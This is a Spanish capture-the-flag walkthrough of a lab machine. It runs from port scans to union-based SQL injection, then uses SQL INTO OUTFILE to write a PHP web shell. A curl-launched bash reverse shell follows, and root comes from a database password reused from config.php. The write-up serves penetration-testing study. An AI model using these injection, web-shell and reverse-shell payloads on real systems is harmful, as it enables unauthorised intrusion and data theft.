Veremos las siguientes técnicas a lo largo de la resolución:
- SQLI (Error Based).
- SQLI - RCE (into outfile).
- Information Leakage.
Reconocimiento
Comprobacion conexion y TTL
Realizamos un ping a la maquina victima para comprobar que tenemos traza ICMP y averiguar el S.O mediante el TTL:
1
ping -c 1 10.10.11.116
-c
Cantidad de paquetes que queremos enviar.
S.O | Linux | Windows |
---|---|---|
TTL | >64 | >128 |
Escaneo de puertos
Utilizaremos nmap para escanear todos los puertos que tiene abiertos la maquina victima
1
2
3
4
5
6
7
w0lfst@h4cknet:~$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.116 -oG "allPorts"
# Nmap 7.92 scan initiated Thu Feb 3 23:00:50 2022 as: nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn -oG allPorts 10.10.11.116
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.116 () Status: Up
Host: 10.10.11.116 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 4566/open/tcp//kwtc///, 8080/open/tcp//http-proxy///
# Nmap done at Thu Feb 3 23:01:00 2022 -- 1 IP address (1 host up) scanned in 10.23 seconds
En mis apuntes encontraras mas detalladamente que hace cada parametro del comando.
Escaneo servicios que corren cada puerto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
w0lfst@h4cknet:~$ nmap -sCV -p22,80,4566,8080 10.10.11.116 -oN targeted
# Nmap 7.92 scan initiated Thu Feb 3 23:07:55 2022 as: nmap -sCV -p22,80,4566,8080 -oN targeted 10.10.11.116
Nmap scan report for 10.10.11.116
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 3 23:08:22 2022 -- 1 IP address (1 host up) scanned in 26.85 seconds
Puerto | Servicio | Version |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.48 |
4566 | kwtc | nginx |
8080 | http | nginx |
Analizando puerto 80
1
2
w0lfst@h4cknet:~$ whatweb http://10.10.11.116
http://10.10.11.116 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]
En la web encontramos un registro que nos pide nuestro usuario y el país, podemos añadir todo lo que queramos.
Probamos inyecciones en el campo username:
Tipo | Inyección |
---|---|
HTML | <h1>Hola</h1> |
XSS | <script>alert("hola")</script> |
Funcionan todas pero no podemos hacer nada porque no hay ningún tipo de autenticación.
Probamos también inyección sql admin'
pero no vemos nada. Asi que utilizaremos BurpSuite para inyectar sql en el campo del país.
Inyeccion SQLi
Burpsuite
Abrimos Burpsuite e interceptamos la petición. Pulsamos CTRL + R
para enviarla al repeater.
Probamos las siguientes inyecciones:
SQLi | Respuesta |
---|---|
username=admin&country=Brazil' union select 1-- - | 1 |
username=admin&country=Brazil' union select database()-- - | registration |
username=admin&country=Brazil' union select version()-- - | 10.5.11-MariaDB-1 |
Vamos a ver las bases de datos que hay en el servidor:
1
username=admin&country=Brazil' union select schema_name from information_schema.schemata-- -
Nos reporta las siguientes bases de datos:
- information_schema
- performance_schema
- mysql
- registration
Veamos que encontramos en la base de datos registration
:
Utilidad | SQLi | Respuesta |
---|---|---|
Tablas | username=admin&country=Brazil' union select table_name from information_schema.tables where table_schema="registration"-- - | registration |
Columnas | username=admin&country=Brazil' union select column_name from informaction_shema.columns where table_schema="registration" and table_name="registration"-- - | username, userhash, country, regtime |
Enumeración | username=admin&country=Brazil' union select group_concat(username,0x3a,userhash) from registration-- - | admin:212321297a57a5a743894a0e4a801fc3 |
Esto no servirá ya que son usuarios que hemos añadido nosotros anteriormente. Asi que probaremos a depositar archivos con SQLi.
1
username=admin&country=Brazil' union select "probando" into outfile "/var/www/html/prueba.txt"-- -
Vamos a http://10.10.11.116/prueba.txt y nos mostrara lo que hemos escrito “probando”. Ahora introduciremos código php para poder ejecutar comandos remotamente.
1
username=admin&country=Brazil' union select "<?php system($_REQUEST['cmd']);?>" into outfile "/var/www/html/w0lfst.php"-- -
Ponemos la siguiente url http://10.10.11.116/w0lfst.php?cmd=whoami y nos responderá con el nombre usuario “www-data”. Con esto, confirmamos que podemos ejecutar comandos de manera remota.
Acceso
Obtener acceso remoto.
Nos ponemos en escucha por el puerto que queramos, por ejemplo, 8080:
1
nc -nvlp 8080
Lanzamos un curl
:
1
curl 10.10.11.116/w0lfst.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/tu-ip/tu-puerto 0>&1"'
En la ventana que hemos ejecutado el nc -nvlp 8080
recibiremos una terminal. Vamos a hacer un tratamiento de la tty.
1
2
3
4
5
6
7
8
9
10
www-data@validation:/var/www/html:~$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@validation:/var/www/html$ ^Z
[1]+ Stopped nc -nvlp 8080
w0lfst@h4cknet:~$ stty raw -echo; fg
nc -nvlp 8080
reset xterm
www-data@validation:/var/www/html:~$ export TERM=xterm
www-data@validation:/var/www/html:~$ export SHELL=bash
www-data@validation:/var/www/html:~$ stty rows X colums X
En x ponemos el numero que te corresponda según tu terminal. Para saber como ver tu tamaño mira esto.
En /home/htb/user.txt
vemos la flag de usuario.
Escalada de privilegios
Analizamos que archivos hay en /var/www/html
y encontramos un config.php
:
1
2
3
4
5
6
7
8
9
www-data@validation:/var/www/html:~$ cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Encontramos una contraseña uhc-9qual-global-pw
. Vamos a probar si funciona con el usuario root:
1
2
3
www-data@validation:/var/www/html$ su root
Password:
root@validation:~#
La contraseña es valida. Visualizamos la flag de root.txt y ya estaría todo!!
Exploits y contenido: En mi github encontraras el script autopwn.py y los archivos de reconocimiento.